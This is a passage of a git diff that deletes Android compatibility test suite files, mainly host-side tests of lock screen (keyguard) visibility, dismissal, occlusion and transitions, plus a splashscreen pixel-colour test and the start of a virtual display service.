-        mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
-    }
-
-    public void testShowWhenLockedActivityAndPipActivity() throws Exception {
-        if (!isHandheld() || !supportsPip()) {
-            return;
-        }
-
-        launchActivity(PIP_ACTIVITY);
-        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
-        mAmWmState.computeState(mDevice, new String[] { PIP_ACTIVITY });
-        mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
-        mAmWmState.assertVisibility(PIP_ACTIVITY, true);
-
-        launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] { SHOW_WHEN_LOCKED_ACTIVITY });
-        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
-
-        gotoKeyguard();
-        mAmWmState.waitForKeyguardShowingAndOccluded(mDevice);
-        assertShowingAndOccluded();
-        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
-        mAmWmState.assertVisibility(PIP_ACTIVITY, false);
-    }
-
-    public void testShowWhenLockedPipActivity() throws Exception {
-        if (!isHandheld() || !supportsPip()) {
-            return;
-        }
-
-        launchActivity(PIP_ACTIVITY, EXTRA_SHOW_OVER_KEYGUARD, "true");
-        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
-        mAmWmState.computeState(mDevice, new String[] { PIP_ACTIVITY });
-        mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
-        mAmWmState.assertVisibility(PIP_ACTIVITY, true);
-
-        gotoKeyguard();
-        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
-        assertShowingAndNotOccluded();
-        mAmWmState.assertVisibility(PIP_ACTIVITY, false);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTestBase.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTestBase.java
deleted file mode 100644
index d578644..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTestBase.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.server.cts.StateLogger.log;
-
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-public class KeyguardTestBase extends ActivityManagerTestBase {
-
-    protected void assertShowingAndOccluded() {
-        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardOccluded);
-    }
-
-    protected void assertShowingAndNotOccluded() {
-        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-        assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardOccluded);
-    }
-
-    protected void assertKeyguardGone() {
-        assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-    }
-
-    protected void assertOnDismissSucceededInLogcat(String logSeparator) throws Exception {
-        assertInLogcat("KeyguardDismissLoggerCallback", "onDismissSucceeded", logSeparator);
-    }
-
-    protected void assertOnDismissCancelledInLogcat(String logSeparator) throws Exception {
-        assertInLogcat("KeyguardDismissLoggerCallback", "onDismissCancelled", logSeparator);
-    }
-
-    protected void assertOnDismissErrorInLogcat(String logSeparator) throws Exception {
-        assertInLogcat("KeyguardDismissLoggerCallback", "onDismissError", logSeparator);
-    }
-
-    private void assertInLogcat(String activityName, String entry, String logSeparator)
-            throws Exception {
-        final Pattern pattern = Pattern.compile("(.+)" + entry);
-        int tries = 0;
-        while (tries < 5) {
-            final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
-            log("Looking at logcat");
-            for (int i = lines.length - 1; i >= 0; i--) {
-                final String line = lines[i].trim();
-                log(line);
-                Matcher matcher = pattern.matcher(line);
-                if (matcher.matches()) {
-                    return;
-                }
-            }
-            tries++;
-            Thread.sleep(500);
-        }
-        fail("Not in logcat: " + entry);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java
deleted file mode 100644
index 8c6f037..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java
+++ /dev/null
@@ -1,378 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.server.cts.WindowManagerState.WindowState;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.KeyguardTests
- */
-public class KeyguardTests extends KeyguardTestBase {
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-
-        // Set screen lock (swipe)
-        setLockDisabled(false);
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        super.tearDown();
-
-        tearDownLockCredentials();
-    }
-
-    public void testKeyguardHidesActivity() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        launchActivity("TestActivity");
-        mAmWmState.computeState(mDevice, new String[] { "TestActivity"});
-        mAmWmState.assertVisibility("TestActivity", true);
-        gotoKeyguard();
-        mAmWmState.computeState(mDevice, null);
-        assertShowingAndNotOccluded();
-        mAmWmState.assertVisibility("TestActivity", false);
-        unlockDevice();
-    }
-
-    public void testShowWhenLockedActivity() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        launchActivity("ShowWhenLockedActivity");
-        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity"});
-        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
-        gotoKeyguard();
-        mAmWmState.computeState(mDevice, null);
-        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
-        assertShowingAndOccluded();
-        pressHomeButton();
-        unlockDevice();
-    }
-
-    /**
-     * Tests whether dialogs from SHOW_WHEN_LOCKED activities are also visible if Keyguard is
-     * showing.
-     */
-    public void testShowWhenLockedActivity_withDialog() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        launchActivity("ShowWhenLockedWithDialogActivity");
-        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedWithDialogActivity"});
-        mAmWmState.assertVisibility("ShowWhenLockedWithDialogActivity", true);
-        gotoKeyguard();
-        mAmWmState.computeState(mDevice, null);
-        mAmWmState.assertVisibility("ShowWhenLockedWithDialogActivity", true);
-        assertTrue(mAmWmState.getWmState().allWindowsVisible(
-                getWindowName("ShowWhenLockedWithDialogActivity")));
-        assertShowingAndOccluded();
-        pressHomeButton();
-        unlockDevice();
-    }
-
-    /**
-     * Tests whether multiple SHOW_WHEN_LOCKED activities are shown if the topmost is translucent.
-     */
-    public void testMultipleShowWhenLockedActivities() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        launchActivity("ShowWhenLockedActivity");
-        launchActivity("ShowWhenLockedTranslucentActivity");
-        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity",
-                "ShowWhenLockedTranslucentActivity"});
-        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
-        mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
-        gotoKeyguard();
-        mAmWmState.computeState(mDevice, null);
-        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
-        mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
-        assertShowingAndOccluded();
-        pressHomeButton();
-        unlockDevice();
-    }
-
-    /**
-     * If we have a translucent SHOW_WHEN_LOCKED_ACTIVITY, the wallpaper should also be showing.
-     */
-    public void testTranslucentShowWhenLockedActivity() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        launchActivity("ShowWhenLockedTranslucentActivity");
-        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedTranslucentActivity"});
-        mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
-        gotoKeyguard();
-        mAmWmState.computeState(mDevice, null);
-        mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
-        assertWallpaperShowing();
-        assertShowingAndOccluded();
-        pressHomeButton();
-        unlockDevice();
-    }
-
-    /**
-     * If we have a translucent SHOW_WHEN_LOCKED activity, the activity behind should not be shown.
-     */
-    public void testTranslucentDoesntRevealBehind() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        launchActivity("TestActivity");
-        launchActivity("ShowWhenLockedTranslucentActivity");
-        mAmWmState.computeState(mDevice, new String[] { "TestActivity",
-                "ShowWhenLockedTranslucentActivity"});
-        mAmWmState.assertVisibility("TestActivity", true);
-        mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
-        gotoKeyguard();
-        mAmWmState.computeState(mDevice, null);
-        mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
-        mAmWmState.assertVisibility("TestActivity", false);
-        assertShowingAndOccluded();
-        pressHomeButton();
-        unlockDevice();
-    }
-
-    public void testDialogShowWhenLockedActivity() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        launchActivity("ShowWhenLockedDialogActivity");
-        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedDialogActivity"});
-        mAmWmState.assertVisibility("ShowWhenLockedDialogActivity", true);
-        gotoKeyguard();
-        mAmWmState.computeState(mDevice, null);
-        mAmWmState.assertVisibility("ShowWhenLockedDialogActivity", true);
-        assertWallpaperShowing();
-        assertShowingAndOccluded();
-        pressHomeButton();
-        unlockDevice();
-    }
-
-    /**
-     * Test that showWhenLocked activity is fullscreen when shown over keyguard
-     */
-    public void testShowWhenLockedActivityWhileSplit() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset() || !supportsSplitScreenMultiWindow()) {
-            return;
-        }
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        launchActivityToSide(true, false, "ShowWhenLockedActivity");
-        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
-        gotoKeyguard();
-        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity" });
-        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
-        assertShowingAndOccluded();
-        mAmWmState.assertDoesNotContainStack("Activity must be full screen.",
-                ActivityManagerTestBase.DOCKED_STACK_ID);
-        pressHomeButton();
-        unlockDevice();
-    }
-
-    /**
-     * Tests whether a FLAG_DISMISS_KEYGUARD activity occludes Keyguard.
-     */
-    public void testDismissKeyguardActivity() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        gotoKeyguard();
-        mAmWmState.computeState(mDevice, null);
-        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-        launchActivity("DismissKeyguardActivity");
-        mAmWmState.waitForKeyguardShowingAndOccluded(mDevice);
-        mAmWmState.computeState(mDevice, new String[] { "DismissKeyguardActivity"});
-        mAmWmState.assertVisibility("DismissKeyguardActivity", true);
-        assertShowingAndOccluded();
-    }
-
-    public void testDismissKeyguardActivity_method() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        final String logSeparator = clearLogcat();
-        gotoKeyguard();
-        mAmWmState.computeState(mDevice, null);
-        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-        launchActivity("DismissKeyguardMethodActivity");
-        mAmWmState.waitForKeyguardGone(mDevice);
-        mAmWmState.computeState(mDevice, new String[] { "DismissKeyguardMethodActivity"});
-        mAmWmState.assertVisibility("DismissKeyguardMethodActivity", true);
-        assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-        assertOnDismissSucceededInLogcat(logSeparator);
-    }
-
-    public void testDismissKeyguardActivity_method_notTop() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        final String logSeparator = clearLogcat();
-        gotoKeyguard();
-        mAmWmState.computeState(mDevice, null);
-        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-        launchActivity("BroadcastReceiverActivity");
-        launchActivity("TestActivity");
-        executeShellCommand("am broadcast -a trigger_broadcast --ez dismissKeyguardMethod true");
-        assertOnDismissErrorInLogcat(logSeparator);
-    }
-
-    public void testDismissKeyguardActivity_method_turnScreenOn() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        final String logSeparator = clearLogcat();
-        sleepDevice();
-        mAmWmState.computeState(mDevice, null);
-        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-        launchActivity("TurnScreenOnDismissKeyguardActivity");
-        mAmWmState.waitForKeyguardGone(mDevice);
-        mAmWmState.computeState(mDevice, new String[] { "TurnScreenOnDismissKeyguardActivity"});
-        mAmWmState.assertVisibility("TurnScreenOnDismissKeyguardActivity", true);
-        assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-        assertOnDismissSucceededInLogcat(logSeparator);
-    }
-
-    public void testDismissKeyguard_fromShowWhenLocked_notAllowed() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        gotoKeyguard();
-        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
-        assertShowingAndNotOccluded();
-        launchActivity("ShowWhenLockedActivity");
-        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity" });
-        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
-        assertShowingAndOccluded();
-        executeShellCommand("am broadcast -a trigger_broadcast --ez dismissKeyguard true");
-        assertShowingAndOccluded();
-        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
-    }
-
-    public void testKeyguardLock() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        gotoKeyguard();
-        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
-        assertShowingAndNotOccluded();
-        launchActivity("KeyguardLockActivity");
-        mAmWmState.computeState(mDevice, new String[] { "KeyguardLockActivity" });
-        mAmWmState.assertVisibility("KeyguardLockActivity", true);
-        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
-        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
-        assertShowingAndNotOccluded();
-    }
-
-    public void testUnoccludeRotationChange() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        gotoKeyguard();
-        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
-        assertShowingAndNotOccluded();
-        executeShellCommand(getAmStartCmd("ShowWhenLockedActivity"));
-        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity" });
-        mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
-        setDeviceRotation(1);
-        pressHomeButton();
-        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
-        mAmWmState.waitForDisplayUnfrozen(mDevice);
-        mAmWmState.assertSanity();
-        mAmWmState.assertHomeActivityVisible(false);
-        assertShowingAndNotOccluded();
-        mAmWmState.assertVisibility("ShowWhenLockedActivity", false);
-    }
-
-    private void assertWallpaperShowing() {
-        WindowState wallpaper =
-                mAmWmState.getWmState().findFirstWindowWithType(WindowState.TYPE_WALLPAPER);
-        assertNotNull(wallpaper);
-        assertTrue(wallpaper.isShown());
-    }
-
-    public void testDismissKeyguardAttrActivity_method_turnScreenOn() throws Exception {
-        if (!isHandheld()) {
-            return;
-        }
-
-        final String activityName = "TurnScreenOnAttrDismissKeyguardActivity";
-        sleepDevice();
-
-        final String logSeparator = clearLogcat();
-        mAmWmState.computeState(mDevice, null);
-        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-        launchActivity(activityName);
-        mAmWmState.waitForKeyguardGone(mDevice);
-        mAmWmState.assertVisibility(activityName, true);
-        assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-        assertOnDismissSucceededInLogcat(logSeparator);
-        assertTrue(isDisplayOn());
-    }
-
-    public void testDismissKeyguardAttrActivity_method_turnScreenOn_withSecureKeyguard() throws Exception {
-        if (!isHandheld()) {
-            return;
-        }
-
-        final String activityName = "TurnScreenOnAttrDismissKeyguardActivity";
-
-        setLockCredential();
-        sleepDevice();
-
-        mAmWmState.computeState(mDevice, null);
-        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-        launchActivity(activityName);
-        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
-        mAmWmState.assertVisibility(activityName, false);
-        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-        assertTrue(isDisplayOn());
-    }
-
-    public void testScreenOffWhileOccludedStopsActivity() throws Exception {
-        if (!isHandheld()) {
-            return;
-        }
-
-        final String logSeparator = clearLogcat();
-        gotoKeyguard();
-        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
-        assertShowingAndNotOccluded();
-        launchActivity("ShowWhenLockedAttrActivity");
-        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedAttrActivity" });
-        mAmWmState.assertVisibility("ShowWhenLockedAttrActivity", true);
-        assertShowingAndOccluded();
-        sleepDevice();
-        assertSingleLaunchAndStop("ShowWhenLockedAttrActivity", logSeparator);
-    }
-
-    public void testScreenOffCausesSingleStop() throws Exception {
-        if (!isHandheld()) {
-            return;
-        }
-
-        final String logSeparator = clearLogcat();
-        launchActivity("TestActivity");
-        mAmWmState.assertVisibility("TestActivity", true);
-        sleepDevice();
-        assertSingleLaunchAndStop("TestActivity", logSeparator);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java
deleted file mode 100644
index 5971ccb..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java
+++ /dev/null
@@ -1,153 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.server.cts.WindowManagerState.TRANSIT_ACTIVITY_OPEN;
-import static android.server.cts.WindowManagerState.TRANSIT_KEYGUARD_GOING_AWAY;
-import static android.server.cts.WindowManagerState.TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER;
-import static android.server.cts.WindowManagerState.TRANSIT_KEYGUARD_OCCLUDE;
-import static android.server.cts.WindowManagerState.TRANSIT_KEYGUARD_UNOCCLUDE;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.KeyguardTransitionTests
- */
-public class KeyguardTransitionTests extends ActivityManagerTestBase {
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-
-        // Set screen lock (swipe)
-        setLockDisabled(false);
-    }
-
-    public void testUnlock() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        launchActivity("TestActivity");
-        gotoKeyguard();
-        unlockDevice();
-        mAmWmState.computeState(mDevice, new String[] { "TestActivity"} );
-        assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY,
-                mAmWmState.getWmState().getLastTransition());
-    }
-
-    public void testUnlockWallpaper() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        launchActivity("WallpaperActivity");
-        gotoKeyguard();
-        unlockDevice();
-        mAmWmState.computeState(mDevice, new String[] { "WallpaperActivity"} );
-        assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER,
-                mAmWmState.getWmState().getLastTransition());
-    }
-
-    public void testOcclude() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        gotoKeyguard();
-        launchActivity("ShowWhenLockedActivity");
-        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity"} );
-        assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
-                mAmWmState.getWmState().getLastTransition());
-    }
-
-    public void testUnocclude() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        gotoKeyguard();
-        launchActivity("ShowWhenLockedActivity");
-        launchActivity("TestActivity");
-        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
-        mAmWmState.computeState(mDevice, null);
-        assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_UNOCCLUDE,
-                mAmWmState.getWmState().getLastTransition());
-    }
-
-    public void testNewActivityDuringOccluded() throws Exception {
-        if (!isHandheld() || isUiModeLockedToVrHeadset()) {
-            return;
-        }
-        launchActivity("ShowWhenLockedActivity");
-        gotoKeyguard();
-        launchActivity("ShowWhenLockedWithDialogActivity");
-        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedWithDialogActivity" });
-        assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
-                mAmWmState.getWmState().getLastTransition());
-    }
-
-    public void testOccludeManifestAttr() throws Exception {
-         if (!isHandheld()) {
-             return;
-         }
-
-         String activityName = "ShowWhenLockedAttrActivity";
-
-         gotoKeyguard();
-         final String logSeparator = clearLogcat();
-         launchActivity(activityName);
-         mAmWmState.computeState(mDevice, new String[] {activityName});
-         assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
-                 mAmWmState.getWmState().getLastTransition());
-         assertSingleLaunch(activityName, logSeparator);
-    }
-
-    public void testOccludeAttrRemove() throws Exception {
-        if (!isHandheld()) {
-            return;
-        }
-
-        String activityName = "ShowWhenLockedAttrRemoveAttrActivity";
-
-        gotoKeyguard();
-        String logSeparator = clearLogcat();
-        launchActivity(activityName);
-        mAmWmState.computeState(mDevice, new String[] {activityName});
-        assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
-                mAmWmState.getWmState().getLastTransition());
-        assertSingleLaunch(activityName, logSeparator);
-
-        gotoKeyguard();
-        logSeparator = clearLogcat();
-        launchActivity(activityName);
-        mAmWmState.computeState(mDevice, new String[] {activityName});
-        assertSingleStartAndStop(activityName, logSeparator);
-    }
-
-    public void testNewActivityDuringOccludedWithAttr() throws Exception {
-        if (!isHandheld()) {
-            return;
-        }
-
-        String activityName1 = "ShowWhenLockedAttrActivity";
-        String activityName2 = "ShowWhenLockedAttrWithDialogActivity";
-
-        launchActivity(activityName1);
-        gotoKeyguard();
-        launchActivity(activityName2);
-        mAmWmState.computeState(mDevice, new String[] { activityName2 });
-        assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
-                mAmWmState.getWmState().getLastTransition());
-    }
-
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
deleted file mode 100644
index ed7f383..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
+++ /dev/null
@@ -1,79 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import java.awt.Color;
-import java.awt.Rectangle;
-import java.awt.image.BufferedImage;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.SplashscreenTests
- */
-public class SplashscreenTests extends ActivityManagerTestBase {
-
-    public void testSplashscreenContent() throws Exception {
-        launchActivityNoWait("SplashscreenActivity");
-        mAmWmState.waitForAppTransitionIdle(mDevice);
-        mAmWmState.getWmState().getStableBounds();
-        final BufferedImage image = takeScreenshot();
-
-        // Use ratios to flexibly accomodate circular or not quite rectangular displays
-        // Note: Color.BLACK is the pixel color outside of the display region
-        assertColors(image, mAmWmState.getWmState().getStableBounds(),
-            Color.RED.getRGB(), 0.50f, Color.BLACK.getRGB(), 0.01f);
-    }
-
-    private void assertColors(BufferedImage img, Rectangle bounds, int primaryColor,
-        float expectedPrimaryRatio, int secondaryColor, float acceptableWrongRatio) {
-
-        int primaryPixels = 0;
-        int secondaryPixels = 0;
-        int wrongPixels = 0;
-        for (int x = bounds.x; x < bounds.x + bounds.width; x++) {
-            for (int y = bounds.y; y < bounds.y + bounds.height; y++) {
-                assertTrue(x < img.getWidth());
-                assertTrue(y < img.getHeight());
-                final int color = img.getRGB(x, y);
-                if (primaryColor == color) {
-                    primaryPixels++;
-                } else if (secondaryColor == color) {
-                    secondaryPixels++;
-                } else {
-                    wrongPixels++;
-                }
-            }
-        }
-
-        final int totalPixels = bounds.width * bounds.height;
-        final float primaryRatio = (float) primaryPixels / totalPixels;
-        if (primaryRatio < expectedPrimaryRatio) {
-            fail("Less than " + (expectedPrimaryRatio * 100.0f)
-                    + "% of pixels have non-primary color primaryPixels=" + primaryPixels
-                    + " secondaryPixels=" + secondaryPixels + " wrongPixels=" + wrongPixels);
-        }
-
-        // Some pixels might be covered by screen shape decorations, like rounded corners.
-        // On circular displays, there is an antialiased edge.
-        final float wrongRatio = (float) wrongPixels / totalPixels;
-        if (wrongRatio > acceptableWrongRatio) {
-            fail("More than " + (acceptableWrongRatio * 100.0f)
-                    + "% of pixels have wrong color primaryPixels=" + primaryPixels
-                    + " secondaryPixels=" + secondaryPixels + " wrongPixels=" + wrongPixels);
-        }
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/AndroidManifest.xml
deleted file mode 100644
index d3ae55e..0000000
--- a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/AndroidManifest.xml
+++ /dev/null
@@ -1,25 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
-          package="android.server.displayservice">
-    <uses-permission android:name="android.permission.WAKE_LOCK" />
-    <application android:label="CtsDisplayService">
-        <service android:name=".VirtualDisplayService"
-                 android:exported="true" />
-    </application>
-</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/src/android/server/displayservice/VirtualDisplayService.java b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/src/android/server/displayservice/VirtualDisplayService.java
deleted file mode 100644
index eb58963..0000000
--- a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/src/android/server/displayservice/VirtualDisplayService.java
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.displayservice;
-
-import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
-import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PRESENTATION;
-
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.app.Service;
-import android.content.Intent;
